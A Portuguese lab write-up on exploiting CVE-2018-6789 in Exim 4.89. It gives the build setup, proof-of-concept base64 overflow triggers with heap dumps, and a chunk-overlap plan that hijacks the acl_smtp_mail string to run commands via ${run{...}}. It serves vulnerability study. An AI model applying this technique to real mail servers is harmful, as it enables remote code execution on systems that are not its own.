
Exploit para CVE-2018-6789, um estouro de buffer no heap na decodificação base64 do Exim, alcançando execução remota de código por meio de sobreposição de chunks e manipulação de strings ACL.
Instalar dependências
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Baixar versão antiga do exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Em seguida, modificar Local/Makefile Para conveniência, todos os diretórios apontam para o diretório atual
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Isso facilita a depuração Depois compilar e instalar
make install
Modificar ./configure, sobrescrever com o conteúdo abaixo
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Primeiro, analisar o patch em base64.c:
Onde result é o buffer que armazena o resultado da decodificação base64, obtido pela função store_get
Pode-se observar que o cálculo do size antes do patch está incorreto. Quando size está no intervalo 4n~4n+3, o tamanho calculado é igual, mas quando b64decode decodifica um parâmetro que não é múltiplo de 4, ele decodifica um ou dois bytes extras.
Por exemplo, enviando diretamente
auth_md5('Hf'*42)
size=0x40
Distribuição de memória resultante:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Testando novamente
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Transbordou dois bytes
Para melhorar o desempenho, o exim implementa seu próprio mecanismo de gerenciamento de memória sobre o mecanismo de heap padrão. Ele funciona como um buffer intermediário entre o código e o glibc, com o objetivo de reduzir o número de chamadas malloc e free
Para o exim, cada bloco de heap individual é chamado de storeblock. Cada vez que é usado, um buffer de tamanho apropriado é alocado a partir dele. Se um storeblock for completamente usado, outro storeblock é alocado via malloc.
Para cada storeblock, sua estrutura é uma simples lista encadeada:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
As principais APIs usadas pelo programa para gerenciamento de heap estão em store.c:
store_get
store_release
store_extend
store_reset
store_get é usado para obter um buffer. O código principal é o seguinte:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
Pode-se observar que o tamanho mínimo de um store_block solicitado é STORE_BLOCK_SIZE, ou seja, 8192.
Portanto, um store_block de tamanho 8192, adicionando seu cabeçalho de estrutura e o cabeçalho do heap, resulta em um tamanho total de 0x2020

Quando o exim executa um comando enviado pelo cliente e o comando é bem-sucedido, ele chama store_reset para liberar o cache desnecessário e os store_block excedentes. "Execução bem-sucedida" aqui inclui comandos com formato correto, e-mail sem caracteres ilegais, etc. Caso contrário, store_reset não é chamado.
Esta vulnerabilidade é um clássico off-by-one (embora na verdade possa transbordar dois bytes). No entanto, como o número de bytes que transbordam é pequeno, não é possível sobrescrever diretamente estruturas sensíveis no heap. Portanto, é necessário usar algumas características do ptmalloc para ampliar o impacto da vulnerabilidade, transformando-a em um overflow de maior alcance, ou overlap. Para vulnerabilidades off-by-one, existe um método clássico: chunk enlarge -> chunk overlap. Ao aumentar o size de um chunk e forjar um cabeçalho de chunk para burlar a verificação de sanidade do glibc, é possível obter sobreposição de chunks e causar uma cobertura maior.
O processo principal é: chunk enlarge -> chunk overlap -> corromper o ponteiro next no storeblock, então acionar store_reset para liberar um chunk arbitrário. Ao solicitar esse chunk novamente, podemos modificar seu conteúdo (type confusion). Meh no artigo recomenda modificar o chunk onde a string ACL está localizada, porque no processamento da string ACL existe uma funcionalidade de execução de comandos. As strings ACL são muitas, mas a maioria é NULL (provavelmente relacionada ao arquivo de configuração). Aqui escolho a string acl_smtp_mail, cuja sintaxe para executar comandos é
${run{command}}
O layout aproximado do heap é o seguinte

O primeiro chunk é o chunk resultante da decodificação base64, usado para o off-by-one. Portanto, ele deve estar no final de um storeblock. Por conveniência, solicito diretamente um chunk maior que 0x2020 para armazenar o resultado da decodificação base64; O segundo chunk é sender_helo_name, usado para sobrescrever o próximo chunk. sender_helo_name não é armazenado em storeblock, mas alocado diretamente via malloc:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Portanto, o tamanho é arbitrário; O terceiro chunk é o chunk resultante da decodificação base64, usado principalmente para forjar o cabeçalho e ser sobrescrito. Portanto, ele deve estar no início de um storeblock. Por conveniência, também solicito diretamente o tamanho 0x2020.
Meu exploit também foi obtido passo a passo seguindo análises de outras pessoas na internet. A ideia geral permanece a mesma, mas o layout do heap é um pouco diferente, então alguns parâmetros pequenos são diferentes.